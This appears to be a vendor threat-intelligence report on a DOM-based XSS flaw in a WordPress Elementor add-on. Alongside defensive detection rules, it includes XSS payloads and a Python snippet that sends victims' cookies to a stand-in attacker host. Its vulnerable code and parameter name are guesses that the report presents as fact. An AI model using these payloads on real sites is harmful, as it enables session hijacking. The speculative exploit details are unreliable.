CVE-2025-64355

Executive Summary

CVE-2025-64355 is a DOM-Based Cross-Site Scripting (XSS) vulnerability identified in the Crocoblock JetElements For Elementor plugin, a WordPress ecosystem component. The flaw resides in the jet-elements module, where improper neutralization of user input during web page generation allows an attacker to inject malicious scripts that execute in the context of the victim's browser. This vulnerability affects all versions up to and including 2.7.12. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the widespread use of Elementor and its extensions.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The JetElements plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users are advised to monitor the official Crocoblock channel for updates. No supply chain compromise has been identified, but the lack of a patch increases the risk of malicious actors embedding exploits in unofficial plugin distributions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link or visit a malicious page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the DOM-based nature of the XSS can lead to session hijacking, credential theft, or defacement. The lack of a patch elevates the urgency for defensive measures.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS in the JetElements plugin for Elementor. DOM-Based XSS occurs when client-side JavaScript processes user input in an unsafe manner, modifying the Document Object Model (DOM) without proper sanitization. In this case, the jet-elements module likely reads data from document.location, document.URL, or document.referrer and injects it into the page without encoding. An attacker can craft a URL with a malicious payload in a fragment or query parameter, which, when visited by an authenticated WordPress admin or editor, executes arbitrary JavaScript in the context of the victim's session.

The attack flow:

1. Attacker crafts a URL: https://victim-site.com/?jet_element=<script>alert('XSS')</script>
2. Victim (logged-in admin) clicks the link.
3. The JetElements script reads the jet_element parameter and injects it into the DOM.
4. The script executes, allowing the attacker to steal cookies, modify page content, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve proper output encoding and input validation. Below is an example of vulnerable JavaScript code and its patched version.

Vulnerable Code (jet-elements.js):

var element = new URLSearchParams(window.location.search).get('jet_element');
document.getElementById('jet-container').innerHTML = element;

Patched Code (hypothetical):

var element = new URLSearchParams(window.location.search).get('jet_element');
var safeElement = document.createTextNode(element);
document.getElementById('jet-container').appendChild(safeElement);

The patched version uses createTextNode to safely insert the value as text, preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker)

1. Setup: Use a WordPress instance with JetElements <= 2.7.12 installed.
2. Craft Payload: Create a URL with a malicious parameter:

   http://target-site.com/?jet_element=<img src=x onerror=alert(document.cookie)>
   

3. Delivery: Send the link to a logged-in admin via email or social engineering.
4. Execution: When the admin clicks the link, the payload executes, exfiltrating cookies to an attacker-controlled server.

Example Exploit (Python):

import requests

target = "http://target-site.com"
payload = "<img src=x onerror=fetch('http://attacker.com/steal?cookie='+document.cookie)>"
url = f"{target}/?jet_element={payload}"
print(f"Send this URL to victim: {url}")

Blue Team (Defender)

1. Detection: Monitor for unusual URL parameters containing <script>, <img>, or onerror patterns.
2. Mitigation: Implement a Web Application Firewall (WAF) rule to block requests with suspicious jet_element parameters.
3. User Training: Educate admins not to click untrusted links while logged into WordPress.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing jet_element= followed by HTML/JavaScript code.
• Network Traffic: Outbound connections to unknown domains from the WordPress admin interface.
• Log Entries: Unusual document.referrer or document.URL values in server logs.
• File Changes: Modified jet-elements.js or other plugin files (if attacker uploads backdoor).

Detection Engineering

YARA Rule

rule CVE_2025_64355_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS in JetElements plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64355"
    strings:
        $xss1 = /jet_element\s*=\s*[^&]*<script/i
        $xss2 = /jet_element\s*=\s*[^&]*onerror/i
        $xss3 = /jet_element\s*=\s*[^&]*onload/i
    condition:
        any of them
}

Sigma Rule

title: JetElements DOM XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-64355 via URL parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'jet_element='
        cs-uri-query|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of similar parameters in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64355 JetElements DOM XSS Attempt"; flow:to_server,established; content:"jet_element="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the JetElements plugin until a patch is released.
2. Virtual Patching: Deploy a WAF rule to block requests containing jet_element= with suspicious patterns.
3. Code Review: If you have access to the source, implement input sanitization using textContent or createTextNode instead of innerHTML.
4. Monitor: Watch the Crocoblock website and WordPress plugin repository for updates.
5. User Awareness: Train administrators to avoid clicking untrusted links while logged into WordPress.

Valters IT Signature
This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters-it.com.